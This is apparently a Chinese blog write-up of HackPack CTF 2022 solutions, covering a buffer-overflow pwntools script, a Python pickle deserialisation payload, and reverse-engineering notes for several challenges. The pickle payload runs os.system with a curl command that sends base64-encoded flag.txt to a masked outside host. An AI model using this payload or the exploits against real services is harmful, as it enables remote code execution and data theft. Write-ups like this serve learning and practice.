HackPack CTF 2022 WriteUp

原创

拾光、 已于 2022-04-11 08:42:21 修改 420 收藏

文章标签： ctf hackpack writeup

于 2022-04-09 23:05:14 首次发布

本文链接：https://blog.csdn.net/wdearzh/article/details/124070193

文章目录

pwn-Terminal Overdrive

```
# -*- coding: utf-8 -*-
from pwn import *
r = remote('cha.hackpack.club',10991)
fpath = '/mnt/d/ctf/ti/hackpackctf2022/pwn/chal'
#r = process(fpath)
elf=ELF(fpath)

off=0x36+4+4
payload=b'a'*off+p32(1)
r.sendline(payload)

r.interactive()
```

web-Imported Kimchi 1

Pickle反序列化

```
# coding=utf8
import pickle
import os
class payload(object):
    def __reduce__(self):
        #被调用函数的参数
        cmd = "curl xxx.xx.xxx.xx:xxx/`cat flag.txt|base64`"
        return (os.system,(cmd,))
a = payload()
ser = pickle.dumps(a)
print(ser)

with open("payload.jpg",'wb') as f:
    f.write(ser)
#pickle.loads(open('payload.jpg','rb').read())
```

web-Imported Kimchi 2

同上

rev-3T PHON3 HOM3

apk，jadx翻一番value.xml里有flag

全局搜索flag{也能在资源中找到

rev-Self-Hosted Crypto

```
  if ( (unsigned __int64)&retaddr <= *(_QWORD *)(v1 + 16) )
    runtime_morestack_noctxt_abi0();
  if ( (unsigned __int64)qword_4E6AD8 <= 1 )
LABEL_9:
    runtime_panicIndex();
  v2 = *(_QWORD *)(os_Args + 24);
  File = os_ReadFile();
  if ( v0 )
  {
    runtime_gopanic(); //这里面没啥用
    goto LABEL_9;
  }
  v7 = File;
  runtime_makeslice();
  v5 = v2;
  for ( i = 0LL; v5 > i; ++i )
    *(_BYTE *)(v4 + i) = *(_BYTE *)(v7 + i) + 13;  //这是是算法
  os_WriteFile();
```

exp：

```
with open('encrypted_','rb') as f:
    d = f.read()
flag=''
for i in d:
    flag += chr(i-13)
print(flag)
```

rev-Shopkeeper 1

nc连接之后，显示的base64解一下，是个elf文件，ida中发现flag

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char command[56]; // [rsp+0h] [rbp-40h] BYREF
  const char *v5; // [rsp+38h] [rbp-8h]

  strcpy(command, "base64 chal");
  system(command);
  v5 = "flag{b4s364_1s_s0_c3wl_wh0_kn3w_you_c0u1d_do_th15}";
  if ( (unsigned __int8)print_flag_1() )
    print_flag_2();
  return 0;
}
```

rev-Shopkeeper 2

同上的elf文件，需要通过print_flag_1获取服务器本地的flag

```
__int64 print_flag_1()
{
  FILE *stream; // [rsp+0h] [rbp-10h]
  char i; // [rsp+Fh] [rbp-1h]

  if ( !(unsigned __int8)Level1() ) //需要Level1 返回0
    return 0LL;
  stream = fopen("flag-1.txt", "r");
  if ( !stream )
  {
    puts("Cannot open file ");
    fflush(stdout);
    exit(0);
  }
  for ( i = fgetc(stream); i != -1; i = fgetc(stream) )
    putchar(i);
  fclose(stream);
  putchar(10);
  fflush(stdout);
  return 1LL;
}
```

Buy处理时可以为负数

```
fprintf(stdout, "How many %s would you like to buy?\n", (const char *)v4[v11]);
fflush(stdout);
v10 = getchar() - 48;
getchar();
if ( (unsigned __int8)coins >= v10 * v3[v11] )
{
    coins -= v10 * v3[v11];
    *(&v5 + v11) += v10;
}
```

所以步骤为 Buy，选择2，输入回车、回车，然后buy flag，然后查看flag即可。

rev-Shopkeeper 3

```
# -*- coding: utf-8 -*-
from pwn import *
r = remote('cha.hackpack.club',10992)
r.sendline("1")
r.sendline("2")
r.sendline("\x1d")

r.sendline("1")
r.sendline("1")
r.sendline("3")

r.sendline("2")
r.sendline("1")
r.sendline("1")

r.sendline("1")
r.sendline("3")
r.sendline("1")
r.sendline("3")

##level 2
#  55 - 19 = 36
#  48 + 18 = 66 \x42
c=0
for i in range(100):
    r.sendafter('How much money do you want to bet?\n', "\x42")
    r.sendafter('What is the value? (0-9)\n', "1")
    t = r.recvline()
    print(t)
    if t[:8] == b'Correct!':
        print("ok1")
        c +=1
        if c == 2:
            break
r.interactive()
```